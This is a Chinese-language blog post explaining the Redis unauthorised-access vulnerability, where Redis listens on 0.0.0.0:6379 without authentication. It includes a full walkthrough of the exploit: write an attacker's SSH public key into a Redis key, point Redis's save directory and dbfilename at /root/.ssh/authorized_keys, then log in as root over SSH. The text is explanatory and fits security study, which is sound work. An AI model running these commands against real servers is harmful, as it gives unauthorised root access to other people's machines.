zoukankan      html  css  js  c++  java
  • redis未授权访问漏洞总结

    Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

    漏洞介绍:

    Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

    漏洞描述:

    部分 Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

    利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。

    漏洞利用:

    首先在本地生产公私钥文件:

    $ ssh-keygen –t rsa

    然后将公钥写入 foo.txt 文件:

    $ (echo -e "
    
    "; cat id_rsa.pub; echo -e "
    
    ") > foo.txt
     

    连接 Redis 写入文件:

    $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
    $ redis-cli -h 192.168.1.11
    $ 192.168.1.11:6379> config set dir /root/.ssh/
    OK
    $ 192.168.1.11:6379> config get dir
    1) "dir"
    2) "/root/.ssh"
    $ 192.168.1.11:6379> config set dbfilename "authorized_keys"
    OK
    $ 192.168.1.11:6379> save
    OK

    这里讲解下,这里设定了crackit的键值为公钥,并通过redis命令变更Redis DB 文件及存放地点为默认root用户SSH key存放文件,并将键值重定向追加到远程文件authorized_keys的末尾,也就上传了公钥。

    这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:

    $ ssh –i  id_rsa root@192.168.1.11

    可远程利用自己的私钥登录该服务器。

    刚刚我们提到公钥登录和Redis持久化存放数据操作,这里简单讲下原理

  • 相关阅读:
    Java——读取和写入txt文件
    Java——去除字符串中的中文
    web.xml——Error:cvc-complex-type.2.4.a: Invalid content was found starting with element
    poi--读取不同类型的excel表格
    poi——读取excel数据
    java静态代码块
    Java-main方法中调用非static方法
    dom4j--解析xml文件
    python发送邮件
    JWT认证原理及使用
  • 原文地址:https://www.cnblogs.com/pythonal/p/10069985.html
Copyright © 2011-2022 走看看